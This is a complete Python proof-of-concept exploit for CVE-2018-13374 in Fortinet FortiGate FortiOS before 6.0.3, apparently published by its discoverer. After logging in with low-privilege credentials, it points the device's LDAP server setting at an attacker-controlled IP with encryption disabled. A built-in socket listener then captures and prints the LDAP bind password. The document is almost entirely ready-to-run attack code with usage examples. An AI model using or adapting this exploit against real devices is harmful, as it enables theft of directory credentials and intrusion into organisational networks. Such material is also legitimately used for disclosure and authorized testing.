Fortinet FortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure

#/usr/bin/python3

"""
CVE-2018-13374
Publicado por Julio Ureña (PlainText)
Twitter: @JulioUrena
Blog Post: https://plaintext.do/My-1st-CVE-Capture-LDAP-Credentials-From-FortiGate-EN/
Referencia: https://fortiguard.com/psirt/FG-IR-18-157

Ejemplo: python3 CVE-2018-13374.py -f https://FortiGateIP -u usuario -p password -i MiIP 
Ejemplo con Proxy: python3 CVE-2018-13374.py -f https://FortiGateIP -u usuario -p password -i MiIP  --proxy http://127.0.0.1:8080
"""

from threading import Thread
from time import sleep
import json, requests, socket, sys, re, click

# Disable SSL Warning
requests.packages.urllib3.disable_warnings()

# To keep the Cookies after login.
s = requests.Session()
	
def AccessFortiGate(fortigate_url, username, password, proxy_addr):
	url_login = fortigate_url+'/logincheck'

	# Pass username and Password
	payload = {"ajax": 1, "username":username, "secretkey":password}

	# verify=False - to avoid SSL warnings
	r = s.post(url_login, data=payload, proxies=proxy_addr, verify=False)

	if s.cookies:
		return True
	else:
		return False
	

def TriggerVuln(fortigate_url, ip, proxy_addr):
	print("[+] Triggering Vulnerability")
	# Access LDAP Server TAB
	r = s.get(fortigate_url+'/p/user/ldap/json/',cookies=requests.utils.dict_from_cookiejar(s.cookies), proxies=proxy_addr, verify=False)

	# Load the response in a json object 
	json_data = json.loads(r.text)

	# Assign values based on FortiGate LDAP configuration
	name = json_data['source'][0]['name']
	username = json_data['source'][0]['username']
	port = int(json_data['source'][0]['port'])
	cnid = json_data['source'][0]['cnid']
	dn = json_data['source'][0]['dn']
	ca = json_data['source'][0]['ca-cert']
	
	thread = Thread(target = GetCreds, args = (ip, port))
	thread.start()
	sleep(1)
	
	print("[+] Username: ", username)
	
	# Create json object for the vulnerable request, changing the server and setting up secure to 0
	ldap_request = {"info_only":1,"mkey":name,"ldap":{"server":ip,"port":port,"cn_id":cnid,"username":username,"dn":dn,"secure":0,"ca":ca,"type":2}}

	# Trigger the vulnerability
	r = s.get(fortigate_url+'/api/ldap?json='+str(ldap_request), cookies=requests.utils.dict_from_cookiejar(s.cookies),proxies=proxy_addr, verify=False)
	r.close()

def GetCreds(server, port):
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	
	# Allow to reuse the server/port in case of: OSError: [Errno 98] Address already in use
	sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

	server_address = (server, port)
	sock.bind(server_address)

	sock.listen()
	credentials = ''

	while True:
		print('[+] Waiting Fortigate connection ...')
		c, client_address = sock.accept()		
		try:
			while True:
				data = c.recv(1024)
				credentials = str(data)
				# \\x80\\ was common with 3 different passwords / user names, that's why it's been used as reference. 
				# It separe the username and the password
				ldap_pass = re.sub(r'.*\\x80\\','',credentials) #.replace("'","")
				print("[+] Password: ", ldap_pass[3:-1])
				break
		finally:
			c.shutdown(socket.SHUT_RDWR)
			c.close()
			sock.shutdown(socket.SHUT_RDWR)
			sock.close()

		if credentials:
			break

def print_help(self, param, value):
	if value is False:
		return
	click.echo(self.get_help())
	self.exit()

@click.command()
@click.option('-f', '--fortigate-url', 'fortigate_url', help='FortiGate URL.', required=True)
@click.option('-u', '--username', 'username', help='Username to login into Fortigate. It can be a read only user.', required=True)
@click.option('-p', '--password', 'password', help='Password to login into FortiGate.', required=True)
@click.option('-i', '--ip', 'ip', help='Host IP to send the credentails.', required=True)
@click.option('-pr', '--proxy', 'proxy', default=None, help='Proxy protocol and IP and Port.', required=False)
@click.option('-h', '--help', 'help', help='Help', is_flag=True, callback=print_help, expose_value=False, is_eager=False)
@click.pass_context


def main(self, fortigate_url, username, password, ip, proxy):
	if not fortigate_url and not username and not password:
		print_help(self, None,  value=True)
		print("[-] For usage reference use --help")
		exit(0)

	# Configure Proxy For Web Requests
	proxy_addr = {
	        'http': proxy,
	        'https': proxy
	}
	message = """[+] CVE-2018-13374
[+] Publicado por Julio Ureña (PlainText)
[+] Blog: https://plaintext.do
[+] Referencia: https://fortiguard.com/psirt/FG-IR-18-157
"""
	print(message)

	if AccessFortiGate(str(fortigate_url),username, password, proxy_addr):
		print("[+] Logged in.")
		sleep(1)
		TriggerVuln(str(fortigate_url), ip, proxy_addr)
	else:
		print("[-] Unable to login. Please check the credentials and Fortigate URL.")
		exit(0)

if __name__ == "__main__":
	main()